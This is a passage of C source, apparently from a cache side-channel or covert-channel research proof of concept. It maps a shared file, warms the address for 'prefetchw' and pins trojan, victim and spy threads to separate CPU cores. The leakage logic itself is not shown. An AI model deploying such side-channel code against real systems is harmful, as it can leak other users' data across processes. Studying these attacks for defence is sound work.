0) 140 | return 0; 141 | 142 | char *mapaddr = mmap(0, 4096, PROT_READ, MAP_SHARED, fd, 0); 143 | close(fd); 144 | 145 | 146 | //Accesses the target addr a few times so ensure prefetchw executes correctly. 147 | //If the addr is never loaded before, prefetchw sometimes does not work. 148 | int time; 149 | time = memaccesstime(mapaddr); 150 | time = memaccesstime(mapaddr); 151 | 152 | pthread_attr_t attr_troj, attr_victim, attr_spy; 153 | pthread_attr_init(&attr_troj); 154 | pthread_attr_init(&attr_victim); 155 | pthread_attr_init(&attr_spy); 156 | 157 | cpu_set_t mask; 158 | CPU_ZERO(&mask); 159 | CPU_SET(trojan_core, &mask); 160 | if (pthread_attr_setaffinity_np(&attr_troj, sizeof(mask), &mask) != 0) { 161 | perror("pthread_attr_setaffinity_np: trojan"); 162 | } 163 | 164 | CPU_ZERO(&mask); 165 | CPU_SET(victim_core, &mask); 166 | if (pthread_attr_setaffinity_np(&attr_victim, sizeof(mask), &mask) != 0) { 167 | perror("pthread_attr_setaffinity_np: victim"); 168 | } 169 | 170 | CPU_ZERO(&mask); 171 | CPU_SET(spy_core, &mask); 172 | if (pthread_attr_setaffinity_np(&attr_spy, sizeof(mask), &mask) != 0) { 173 | perror("pthread_attr_setaffinity_np: spy"); 174 | } 175 | 176 | 177 | if (pthread_create(&trojan, &attr_troj, (void *)troj_func, mapaddr) != 0) { 178 | perror("pthread_create: trojan"); 179 | } 180 | if (pthread_create(&victim, &attr_victim, (void *)victim_func, mapaddr) != 0) { 181 | perror("pthread_create: victim"); 182 | } 183 | if (pthread_create(&spy, &attr_spy, (void *)spy_func, mapaddr) != 0) { 184 | perror("pthread_create: spy"); 185 | } 186 | 187 | pthread_join(trojan, NULL); 188 | pthread_join(victim, NULL); 189 | pthread_join(spy, NULL); 190 | 191 | } 192 | --------------------------------------------------------------------------------